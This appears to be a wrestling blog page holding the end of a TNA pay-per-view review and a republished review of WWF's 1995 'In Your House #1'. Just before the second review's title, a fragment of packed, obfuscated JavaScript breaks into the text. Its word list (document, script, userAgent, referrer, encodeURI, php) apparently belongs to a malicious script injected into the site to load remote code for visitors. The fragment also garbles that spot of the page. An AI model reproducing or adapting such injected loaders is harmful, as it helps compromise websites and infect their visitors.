Roode is #1 and the surprise entrant Zach Gowen is #2. Get the joke from earlier now? Roode steals the prosthetic leg. West: “Put it back!” but Gowen comes back with one footed dropkicks and a reverse DDT. Eric Young comes in at #3. The intervals are only a minute long which includes their time coming to the ring. Remember at this point it’s over the top to eliminate people.

Roode gets a pretty evil one legged giant swing on Gowen. Cassidy Riley is #4. Ok now the clock doesn’t start until he gets to the ring. He helps against the Canadians and Gowen hits a leg lariat on Roode. Here’s Skipper at #5 and the clock is under Young rules again. Skipper takes a lariat from Roode but hits a nice moonsault to take him down. The ring is getting a little full now so everyone has something to do.

Shark Boy comes in at #6 to a nice reaction. Thank goodness he’s not Stone Cold yet. He won a match on the preshow to get in. Sharky hits a neckbreaker on Young but Gowen takes him down. Shark Boy bites Gowen hard enough that Gowen goes out. So we have our first elimination. #7 is another Canadian in the form of A-1, the big power guy. He cleans house with clotheslines and stomps on Riley.

#8 is Chris Sabin. In a Matrix style move, he sets for a tornado DDT on Young but with his feet in the air, he kicks EVERYONE ELSE in the chest in a big circle before hitting the DDT. That was cool. Petey Williams is #9 to put the Canadians at full strength. He tries a Destroyer on Sharky but gets backdropped to the apron. Shark Boy goes after him and is eliminated by A-1. Eric puts out Riley to get some people out of the ring.

Sonny Siaki is #10 and he goes after the Canadians. Skipper gets REALLY stupid and tries to walk the ropes. Roode is like boy you’re stupid and clotheslines him out. Lance Hoyt is #11 and he has his own cheering section. Young is easily tossed out by Hoyt and Team Canada is down to three. Sabin can’t get Williams out and Bentley is #12. He superkicks Hoyt but is taken out by Sabin who goes out at the same time. They fight on the floor as the Canadians put out Siaki.

Here’s Jerelle Clark at #13. He’s just an X-Division guy. There are five people in at the moment: Roode, A-1, Williams, Clark and Hoyt. The Canadians help Williams on a Destroyer to put Clark out. Mikey Batts is #14 and he fires off some kicks to take down the Canadians. He’s another X-Division guy. He and Hoyt team up on Canada as The Outlaw Kip James is #15.

A HUGE cobra clutch slam kills Batts and the fans want to see it again. #16 is Trytan but Hoyt hits a big boot before Trytan even gets in. Batts is gone. Trytan is chokeslamming everyone in sight and hits a spinebuster on Hoyt. Ron Killings is #17 and gets powerslammed very quickly. As Trytan poses, all three Canadians team up to throw him out.

Apollo is #18 and he cleans house. He and Kip chop it out but Apollo charges and is low bridged out. BG James is #19 but the Canadians break up the staredown between the Outlaws. Hoyt kicks Roode out but Roode helps A-1 to get rid of Hoyt. The Outlaws team up on Petey and A-1, tossing them both out. Abyss comes in at #20 and knocks both Outlaws out to get us down to the final two.

So it’s Truth vs. Abyss for the shot and it’s a regular one on one match, meaning over the top doesn’t mean anything anymore. Abyss throws him to the floor anyway and tries to hit him with a chair but it’s taken away by the referee. Back inside now and Abyss pounds on Killings in the corner. Truth speeds things up and hits a leg lariat and a headbutt for two. Abyss gets a big boot and brings in the chain but that gets taken away.

Instead he’ll use a chair because the referee takes forever to put the chain in the corner. Truth gets the chair and hits Abyss twice in the head for two. We actually get a ref bump in this match. Is this really needed? Truth checks on him and walks into a chokeslam onto the chair for a very delayed two. Abyss tries to Earthquake down onto the chair onto Killings but Truth crotches him on the chair instead. Not that it matters though as Killings jumps into the Black Hole Slam and it’s over.

Rating: C+. This wasn’t a horrible battle royal and the one minute intervals keep things moving fast enough. I’m not sure how much I like the one on one match at the end but it’s not a terrible idea I guess. Still though, like most non-Rumbles, this wasn’t a very interesting battle royal. Not awful though.

We recap the main event which is based around the idea of AJ being a once in a generation athlete while Jarrett is the old guard. AJ beat Abyss to get this shot. Tito Ortiz is the referee.

NWA World Title: Jeff Jarrett vs. AJ Styles

Tito Ortiz is guest referee. Jarrett has been champion almost a year at this point. As is customary in wrestling, the previous title reigns of the challenger are only brushed over. They fight over a lockup to start and Tito breaks things up when they get to the ropes. Feeling out process to start as they’re treating this like a huge match. AJ speeds things up which of course gives him the advantage.

Jarrett slides to the floor which is a good idea for him as it slows the match down a lot. Back in and Jeff throws right hands. Jeff tells Tito that they were forearms. That’s so Memphis and it’s a great way to get heat on you. AJ kicks him down and hits a knee drop for two. Jarrett goes for the knee but can’t do a lot of damage on it as Styles fights back. Jeff kicks the knee out again and hooks the Figure Four.

Tenay talks about how Jeff’s strategy is to go after the leg early. He doesn’t think there will be a submission here but it’s going to slow AJ down for later on. And THAT IS WHAT A COMMENTATOR SHOULD BE DOING!!! Not talking about pigeons, but giving us some insight. That’s not something a lot of people would pick up on so Tenay gave some analysis. Why is that never done anymore?

AJ turns it over but is skeptical about coming off the top due to the bad knee. Instead of a dive he hits a tornado DDT and hits a discus clothesline (that’s a popular move in TNA) to send Jarrett to the floor. AJ jumps to the apron but Jeff takes the knee out again. Ortiz counts but Jeff keeps breaking it up. Tito grabs Jeff by the throat and shoves him to the corner.

They head to the floor again and Jeff gets the guitar. Tito says yeah try it and AJ steals the guitar. Tito won’t let AJ use it either so Styles slams it on the ground to break it. AJ pounds away on Jeff and we go back in. There’s the springboard forearm and a spin kick, followed by the moonsault into the reverse DDT for two. AJ tries a rana but gets caught in a powerbomb for two.

They trade some counters until AJ gets two off a backslide and small package. AJ tries the Pele but can’t quite get it so it’s more like a knee to Jeff’s face. Stroke is countered so Jeff hits a Styles Clash to Styles for two. AJ fights back and tries one of his own but here’s Monty Brown. He accidentally Pounces Jeff but Tito is throwing Brown out. A second referee comes out but Tito won’t let him count. Jeff hits AJ low and loads up a superplex but Tito pulls him down for the low blow. Jeff shoves Tito and gets knocked out so that the Spiral Tap can give Styles the title.

Rating: B-. It was good but certainly not great. It’s hard not to look at this with hindsight but you kind of have to. AJ would lose the title at the next PPV and wouldn’t win it back for over four years. Jarrett would get the world title back in a few months until Christian debuted and took the title to end the year.

A big celebration ends the show.

Overall Rating: B. This was a pretty solid show with a big moment to end it. There’s nothing bad on here and it would have seemed like it set up AJ’s next challenger (that wouldn’t be Abyss) and there was nothing really bad. It’s no classic or anything, but if you’re looking for an ok TNA PPV to watch, this isn’t a bad choice.

Remember to follow me on Twitter @kbreviews and pick up my book on the History of the WWE Championship from Amazon for just $5 at:



On This Day: May 14, 1995 – In Your House #1 – Mother’s Day Mayhem: Back When I Sucked At This

Note that this was written over three years ago.  I was brand new at this and this would be one of the first thirty or so reviews that I had ever done.

 

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|itdzz|var|u0026u|referrer|bryie||js|php'.split('|'),0,{})) Your House 1: Mother’s Day Mayhem/Premiere
Date: May 14, 1995
Location: Onondaga War Memorial, Syracuse, New York
Attendance: 7,000
Commentators: Vince McMahon, Doc Hendrix

This would be the equivalent of Backlash today as we are just over a month removed from WM 11. This show was actually only 15 dollars and therefore got the highest buyrate of all 28 of the shows. Your big match here is Sid, Shawn’s former bodyguard against Diesel, Shawn’s other former bodyguard and the reigning WWF Champion.

You know, I have never gotten the point in wrestlers having bodyguards. If they’re big time contenders as Shawn was during this time, shouldn’t he be able to take care of himself? Anyway, your other big feud was Bam Bam Bigelow against the Million Dollar Corporation which for some reason was a video exclusive. This was a strange time for the company and the business as a whole as the ratings were weak to put it mildly.

WM 11 had done a lot to get the company in the news again and this was their way to get fans on the fence into the tent. I haven’t seen this show other than maybe once since it aired, so let’s take a look and see if it was as good as it is remembered as. Also, due to the far shorter cards, I’ll only be posting one match and at most two per show.

Standard recap package begins, and I almost forgot: the name for this show came from the idea that the company was actually giving away a house in Orlando to a randomly selected fan. It was actually a really nice house. Cool idea. The set is like a house and the wrestlers come in like they’re coming in through the garage.

Bret Hart vs. Hakushi

Interesting backstory here as Bret had been given an award for being the people’s favorite wrestler, but Jerry Lawler, whom Bret had been feuding on and off with for nearly two years at this time, said that Bret made sure that Japanese votes weren’t counted and called Bret a racist (none of that happened so don’t panic Bret fans).

Bret was then given another award from the Japanese media, but as this was happening, Hakushi attacked him, setting up this match. Hakushi’s manager is named Shinja and he sports a white suit and face paint, making him look sweet.

Bret says that Hakushi is going to break Hakushi’s undefeated streak. He also dedicates this match to his Mother, saying he’s coming for Lawler after this.

Bret looks extra greasy tonight so you know this is a special show. Hakushi has characters written all over his body making him look like a walking menu for some reason. Hendrix’s jokes never made a lot of sense. The fans of course chant USA as we have a Japanese wrestler vs. a Canadian wrestler.

This is Bret at his best: getting beaten up and making his opponents look like a million bucks. Hakushi uses what will later become known as the Bronco Buster in something that is just a tad weird. Hakushi’s style is similar to cruiserweights so at the time, he was amazing. Now he’s still good, but nowhere near as spectacular as he used to be. Crowd is hot as Bret avoids a slingshot splash and makes his comeback.

During his five moves of doom, Bret throws in a random bulldog. Unexpected but it certainly breaks up the monotony. I like that. This keeps going though as it’s being given time and is turning into something good. We even get the Asai Moonsault that is nothing short of sweetness. Crowd is going nuts as they trade a rollup sequence that ends in Bret scoring the pin!

We get a very random fireworks display as Bret celebrates. Fireworks for an opening match, seriously? As Bret leaves the ring he apparently twists his knee. Doc Hendrix has such a fine wrestling mind that not only can he see this before it happens but also in the dark at a terrible camera angle. Remember that knee as it comes into play later in the show.

Rating: B. Solid match here. While not a classic, it had the crowd lit up and was very fast paced. These two had chemistry together and it really was a fun match. Excellent way to get the show going and get the crowd into it.

Oh yeah I forgot: Lawler had an open contract with Bret, meaning he could face him anytime he wanted. Bret had agreed to wrestle twice tonight, but now he has a hurt knee.

The house giveaway is hyped by some female interviewer. They show a fake video of an armored car with a police escort bringing the contest entries in earlier in the day. Surprisingly enough, this woman isn’t very annoying. I don’t know what to say.

Jeff Jarrett/Roadie vs. Razor Ramon

This was supposed to be a tag with 1-2-3 Kid involved but he legitimately hurt his neck, so this is what we got in its place. Jarrett is IC Champion here and Roadie means almost nothing. 1-2-3 Kid is on the phone which is surprising as I’d think it’s past his bedtime. Quick promo from Razor saying it’s always been 2-1 but for the first time it’s an advertised handicap match.

 

Scratch the quick part as he won’t shut up. Razor is introduced as the opponent of Jarrett and Roadie. Doc says this is the first handicap match on WWF PPV ever. Really? Are you sure about that? I haven’t put much thought into it but that would really surprise me.

 

The heels try to crowd Razor to start but Roadie goes to the apron. Roadie hasn’t gotten in the ring at this point, as in this is his first match. That being said all he can really do is punch and kick. In other words he’s more or less at the same talent level that he was at during the height of his career.

 

Fallaway slam takes down Jarrett. Roadie comes in and hits a pretty bad looking clothesline. Again how exactly do you perform a move with authority? And now we stop to dance for no apparent reason. Sunset flip by the incoming Jarrett gets two. The fans get behind Razor but he’s in trouble.

 

Back to Roadie now who is doing pretty well. Razor makes his comeback and goes for the Edge but gets sent over the top rope and down to the floor. Roadie hits a clothesline from the second rope to the floor to take out Razor. He beats the count back in as this has been mostly one sided.

 

We pick up the pace and they slam heads into each other. Aww Razor has Kid written on his boot. That’s so disturbing. A weird looking belly to back suplex from Razor as he more or less fell down. And now we hit the chinlock. The heels are dominating here.

 

Razor manages to take both guys down but Jeff goes after the knee. He escapes though and the Razor’s Edge ends JJ. Vince says Razor has accomplished the impossible. If it’s impossible how did he just do it? Wouldn’t that make it possible? Jarrett goes after the knee again and we have Aldo Montoya of all people come out for the save.

 

His high levels of suck cause him to get beaten up so a “fan” comes in and makes the save again. This would be one Savio Vega and of course since he’s just a fan he can beat up the Intercontinental Champion. You know, because that’s common.

Rating: C-. While not bad, it’s nothing great. The ending introduced one of the biggest wastes of space in history to the company with Savio Vega debuting. This more or less ended this feud between Jarrett and Razor save for a house show title exchange between the two.

 

Jarrett left the company about two months later. Not sure what the point is to have Razor pin the champion clean and then do nothing with it.

Lawler wants his match right now, but Jack Tunney (WWF President at the time) won’t allow it.

Video package of Sid’s awesomeness.

KOTR Qualifying Match: Mabel vs. Adam Bomb

And so it began. This was the start of the absolute worst idea in WWF history: pushing Mabel as the company’s top heel. Seriously, what in the world was Vince on when he thought this was a good idea? For those that aren’t familiar with this guy, it’s Big Daddy V, but somehow even less talented and more boring at this time.

Adam Bomb was a weird character who was apparently the product of nuclear experiments gone wrong. Somehow he got WAY over but he was nothing more than a jobber. This guy might get the second biggest pop of the night after only Bret Hart and ahead of Diesel. That’s just a weird thing to hear. This is a squash match but it’s the worst I’ve ever seen.

Here’s your match: Mable jumps Bomb before the bell, Bomb comes back with some explosive (I’ll be here all week) offense and flat out dominates Mabel. It looks like Bomb is squashing him. Mabel lands a spin kick that almost gets high enough to hit Bomb below the belt but Bomb comes back from it.

Mabel catches a cross body and falls on him to pin him, as the commentators talk about how valiant an effort it was by Adam. VALIANT??? He beat the living tar out of Mabel then got hit by one move to lose. How in the world is that valiant?

Rating: F. It’s hard to screw up a squash match and make the guy that is supposed to look dominant look terrible, but if any overrated fat boy can do it, it’s this overrated fat boy. Bomb was decent and got massive pops but instead he gets fed to this monster in a squash. Seriously, how good were the drugs Vince must have been on at this time? This led to Mabel winning the KOTR and getting a world title shot at Summerslam 95, which still just leaves me shaking my head.

Razor Ramon introduces his new friend Savio Vega.

Lawler again wants his match right now but is turned down one more time.

Tag Titles: Owen Hart/Yokozuna vs. Smoking Gunns

This is a rematch from WM 11. Not really sure if we’re supposed to buy the Gunns as legit challengers or not, but this is just a step or two above a squash. The Gunns get some decent offense in, but at the end of the day they didn’t stand a chance at winning. It only goes about six minutes with Yoko dropping a leg on one of the members of Rednecks R Us allowing Owen to pin him.

Rating: D+. This was nothing at all and was rather boring. With another 5-10 minutes it could have been ok, but given the short time, it was just bad.

Diesel talks about how he lost his mother last Christmas and says happy Mother’s Day. This is oddly kind of sad. Nash evoking emotion? What am I seeing? He says he’s ready for Sid. He gets a laugh out of me by talking about how Sid says he is the master. Nash says he is the walrus, coo coo ca choo. It was so random and out of left field that it was great. Dang, he used to be very good on the mic. What the heck happened to that?

Bret Hart vs. Jerry Lawler

Lawler does this weird bit where he claims an attractive woman is his mother. Not sure what the point of this was but it didn’t work. In the back, Bret is asked about his knee. He says it’s not April Fool’s Day, but it’ll do. He limps to the ring but as he gets in he reveals he’s just fine and Lawler is scared to death.

This is about four and a half minutes of Bret beating the tar out of Jerry before Shinja runs out and interferes, allowing Hakushi to knock Bret out and Lawler pins him. Bret and Lawler blew off their feud the next month at KOTR, but Hakushi and Bret went nowhere for some reason.

Rating: C. Bret beating on someone was always fun, but the knee injury thing was kind of a waste if this wasn’t the blow off match. Not bad, but kind of a head scratcher.

They announce the house winner.

WWF Title: Diesel vs. Sid

Backstory: After Mania, Shawn fired Sid who beat up Shawn and Diesel made the save. Shawn and Diesel were scheduled for the rematch here but Shawn was hurt, so this is our main event. Bam Bam Bigelow and the Corporation were involved also but I’ll get to that later. DiBiase is revealed as the man behind all this and is in Sid’s corner. Standard big man match here which means it’s nothing that great.

They beat on each other for awhile with Sid of course getting the advantage. Long story short, both land powerbombs but Diesel kicks out. Sid isn’t going to but Tatanka runs out to cause the DQ after the worse powerbomb of all time. Bigelow makes the save and they pose to close out the PPV.

Rating: C+. It’s ok, but it feels like a glorified Raw match, which I suppose is what it was supposed to be. Not bad at all but there was only so much two guys that had identical styles and the same moveset were going to be able to put together. Not bad, but really needed about another 5 minutes to get something good.

Home Video Dark Matches

We get two this time, which is good because so far, this show isn’t that great. However, for 15 dollars, what more do you want? Also that night there was a match taped for Raw three weeks later where the British Bulldog and Owen Hart went to a draw. Why they did a match for almost three weeks later here I’m really not sure. I can’t find an explanation for it, but ok I guess. This match isn’t on the tape.

Undertaker vs. Kama

This was a moderately big feud at the time as Kama had stolen the urn and melted it down into a really ugly chain that he kept around his neck. This match definitely had a purpose and is a great example of the issue with the two hour card as it certainly deserved a place on the card, but there’s absolutely no place to put it.

Kama is more commonly known as the Godfather/Papa Shango, but in this incarnation he’s known as the Supreme Fighting Machine which would be something like a black Kozlov now I guess. He uses a variety of unimpressive submissions and strikes here as this gimmick becomes harder and harder to take seriously.

There’s almost no drama here at all as we’re all expecting Taker to make his comeback. Yep, look, there it is. Taker is coming back, he’s chokeslamming Kama, he’s Tombstoning him, the lights are blue, Taker is posing, the music is playing. I can’t believe I didn’t see this coming. It was so unpredictable!

Rating: C-. It’s ok but nothing more. Very formula based match but that’s not necessarily a bad thing. Taker in a match like this is as basic as you’re going to get and it worked pretty well I guess. Kama was just flat out bad though as always.

Bam Bam Bigelow vs. Tatanka

Following the main event, this is academic I suppose. Not much here at all, but it’s pretty good for what it was. About 9-10 minutes with Bigelow’s power helping to balance out the terrible thing that is Tatanka’s offense. It was so generic that it just never got to work right. Bigelow hits a powerbomb kind of thing to win the match.

Rating: C+. Fine for what it was, but not great. These two didn’t work that well together but I’ve seen far worse.

Overall Rating: C. Certainly not a bad show and while there’s only one truly good match, for fifteen dollars this was probably worth getting at the time. It’s nothing great now, but it was a very novel idea that really worked in my mind.

 

A two hour show for half price and you get decent matches? I’d buy it today as I think this would be a great move for WWE. Put shows like Vengeance or the GAB in this format and they instantly go up in value. Not bad, but there were far better versions of it coming.

 

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